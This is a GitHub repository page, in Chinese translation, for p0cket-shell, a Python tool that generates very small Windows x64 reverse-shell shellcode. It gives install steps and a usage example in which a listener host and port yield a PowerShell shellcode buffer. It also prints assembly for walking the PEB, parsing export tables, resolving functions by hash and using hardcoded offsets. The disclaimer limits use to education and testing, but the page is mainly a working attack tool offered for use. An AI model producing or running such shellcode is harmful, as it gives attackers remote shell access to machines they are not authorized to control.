SilentisVox/p0cket-shell

GitHub: SilentisVox/p0cket-shell

一个专注于极致精简代码体积的Windows x64反向Shell Shellcode生成工具,旨在通过最少指令建立连接。

Stars: 2 | Forks: 0

# p0cket-shell p0cket-shell 是目前最小的反向 shell shellcode。 编写此 shellcode 的目的是为了探索在可执行文件中使用最少的指令来建立一个反向 shell。 虽然我不认为该可执行文件客观上是最小的,但它比我最初研究的要小得多。 **免责声明**:生成的 shellcode 仅用于教育和测试目的。 请勿在未获得许可的机器上使用此 shellcode。 请勿使用此 shellcode 对未获授权的机器进行利用或通信。

Special thanks to Waffles
## 安装 ``` git clone https://github.com/SilenitsVox/p0cket-shell cd p0cket-shell python p0cket-shell.py ``` ## 使用方法 生成 shellcode 的过程非常简单。 共有 3 种 payload:**Resolve**、**Hardcode** 和 **Single**。 对于 **Resolve**,在 WINDOWS X64 架构上执行时,payload 将始终成功。 至于 **Hardcode**,函数偏移量被 *硬编码* 在 shellcode 中。 在 WINDOWS X64 架构上执行时,只要机器是最新的,payload 将始终成功。 对于 **Single**,如果放置在可执行文件中且机器是最新的,payload 将会成功。[2025-03-15] `--payload`、`--lhost`、`--lport` 都是必选项。`--format`、`--output` 参数不是必选项。 - `--payload`,必须使用 `resolve || hardcode || single` 值。 - `--lhost`,必须使用有效的 IP `0.0.0.0`。 - `--lport`,必须使用有效的端口 `0-65535`。 - `--format`,可以应用的值为 `asm || c || exe || powershell || python || raw`。 - `--output`,可以将输出保存到指定的文件路径。 ``` > python3 p0cket-shell.py \ --payload resolve \ --lhost 192.168.0.101 \ --lport 4444 \ --format ps1 [*] Payload size: 356 bytes [*] Final size of PowerShell file: 2430 bytes $Buffer = [Byte[]] @( 0x65, 0x48, 0x8b, 0x04 ... ``` ## 它是如何工作的? 反向 shell shellcode 遵循独特且明确的执行流程。 所需的函数包括 `CreateProcessA`(位于 `kernel32.dll` 模块中),以及 `WSAStartup`、`WSASocketA` 和 `connect`(位于 `ws2_32.dll` 模块中)。 大多数 shellcode 会执行 PEB 遍历来检索 `kernel32.dll` 或 `ws2_32.dll` 的句柄。 你也可以使用 `LoadLibraryA` 函数来获取这些模块的句柄。 标准的 PEB 遍历利用段寄存器和多次指针读取来检索所需已加载模块的基地址。 PEB 的结构保持不变,这就是为什么它是检索模块句柄最可靠的方法。 PEB 遍历可能如下所示。 ``` GET_KERNEL32: MOV RAX, GS:[0x60] ; Segment Register + 0x60 => pPEB MOV RAX, [RAX + 0x18] ; pPEB + 0x18 => pLoaderData MOV RAX, [RAX + 0x30] ; pLoaderData + 0x30 => pInLoadOrderModuleList MOV RAX, [RAX] ; pInLoaderOrderModuleList => Flink MOV RAX, [RAX] ; Flink => Flink MOV RAX, [RAX + 0x10] ; Flink + 0x10 => pModule ``` 一旦获得了所需模块的句柄,你就可以找到所需函数的偏移量。 当模块包含导出函数时,每个函数的信息都位于数据目录中。 这些函数的关键字段包括:`NumberOfNames`、`NumberOfFunctions`、`AddressOfNames`、`AddressOfFunctions` 和 `AddressOfNameOrdinals`。 - 字段 `NumberOfNames` 和 `NumberOfFunctions` 包含一个 4 字节的值。该值是导出函数的数量。 - 字段 `AddressOfNames` 包含一个 4 字节的值。 该值是模块内每个函数名称的偏移量。 每个名称都以空字符结尾,因此自然的分隔符是 0。 - 字段 `AddressOfFunctions` 包含一个 4 字节的值。 该值是模块内 dll 中每个函数偏移量的偏移量。 每个函数偏移量为 4 字节。 - 字段 `AddressOfNameOrdinals` 包含一个 4 字节的值。 该值是模块内每个函数槽号的偏移量。 每个槽号为 2 字节。 #### 解析 在解析函数地址时,你必须拥有与该函数相关的任何值。 最节省空间的函数标识符是函数的硬编码 4 字节哈希值。 注意:为了保持空间效率,哈希算法必须尽可能基础。 通过加载每个函数名称,对其进行哈希处理,并与已知哈希进行比较,我们可以获取每个函数的地址。 ###### 示例哈希算法 ``` HASH: LODSB ; Load character into RAX ROR R11D, 0x07 ; Rotate hash 7 bits ADD R11D, EAX ; Add character to hash ``` ###### 示例函数解析 ``` PARSE_MODULE: MOV R8D, [RCX + 0x3c] ; Module Base Address + 0x3c => Pe Header Offset LEA R8, [RCX + R8] ; Module Base Address + Pe Header Offset => Pe Header MOV R8D, [R8 + 0x88] ; Pe Header + 0x88 => Export Directory Offset LEA R8, [RCX + R8] ; Module Base Address + Export Directory Offset => Export Directory MOV R9D, [R8 + 0x18] ; Export Directory + 0x18 => NumberOfNames MOV R10D, [R8 + 0x20] ; Export Directory + 0x20 => AddressOfNames Offset LEA R10, [RCX + R10] ; Module Base Address + AddressOfNames Offset => AddressOfNames SEARCH: DEC R9 ; NumberOfNames - 0x01 => Next Index MOV ESI, [R10 + R9 * 0x04] ; AddressOfNames + (NumberOfNames * Address Size) => Next Function Name Offset LEA RSI, [RCX + RSI] ; Module Base Address + Next Function Name Offset => Next Function Name RETURN_FUNCTION: MOV EAX, [R8 + 0x24] ; Base Address + Pe Header Offset => Pe Header Value LEA RAX, [RCX + RAX] ; Base Address + Pe Header Value => Pe Header Address MOVZX EDX, WORD [RAX + R9 * 0x02] ; Pe Header Address + Export Directory Offset => Export Directory Value MOV EAX, [R8 + 0x1c] ; Pe Header Address + Export Directory Value => Export Directory Address LEA RAX, [RCX + RAX] ; Export Directory Address + NumberOfNames Offset => dwNumberOfNames MOV EAX, [RAX + RDX * 0x04] ; Export Directory Address + AddressOfNames Offset => pAddressOfNames LEA RAX, [RCX + RAX] ; Base Address + pAdddressOfNames => lpAddressOfNames RET ``` #### 硬编码 当机器是最新的时,模块内的函数偏移量是不变的。 这意味着如果可以计算出每个函数的偏移量;这些偏移量可以在 shellcode 中硬编码。 这也意味着这种函数调用方式是不可靠的。 ###### 示例硬编码函数 ``` GET_WINEXEC: ; CALL GET_KERNEL32 ; MOV RCX, 0x000707d0 ; WinExec Offset LEA RDX, [RAX + RCX] ``` ## 为什么这是最小的? p0cket-shell 与其他可用 shellcode 之间最大的区别在于调用约定。 Windows 在调用函数时遵循相同的协议;该协议称为 **Windows ABI** 或 **标准调用 (standard call)**。 函数的第一个参数放在 RCX 中。 第二个参数放在 RDX 中,接下来是 R8,然后是 R9。 任何后续参数都以相反的顺序存储在栈上。 Windows 还要求 16 字节对齐的栈以及 32 字节的零化开销。 ###### 示例 Windows 调用 ``` CALL_WINDOWS_FUNCTION: MOV RCX, PARAMETER_1 MOV RDX, PARAMETER_2 MOV R8, PARAMETER_3 MOV R9, PARAMETER_4 PUSH PARAMETER_5 PUSH PARAMETER_6 SUB RSP, 0x20 ``` **这对 shellcode 意味着什么?** 好吧,我们使用的一些函数(LoadLibraryA, WSAStartup, connect)利用了栈,但不依赖于它。 当我们调用这些函数时,它们不需要栈来返回正确的参数。 它们需要 32 字节的栈开销,但不需要零。 我们可以为其他函数重用栈空间,`LoadLibraryA → WSAStartup`。 我们必须为其他函数压入 0,但稍后重用它们 `WSASocketA → connect`。 我们还可以重用预测的寄存器。 返回寄存器 `RAX` 可能包含表示成功的 0,这意味着不必将其清零。
标签:Linux安全, p0cket-shell, Python, Shellcode, Windows X64, 二进制安全, 免杀技术, 反向Shell, 快速连接, 恶意代码分析, 技术调研, 攻击脚本, 数据展示, 无后门, 暴力破解检测, 汇编语言, 端点可见性, 红队, 网络安全, 自动回退, 逆向工具, 配置文件, 隐私保护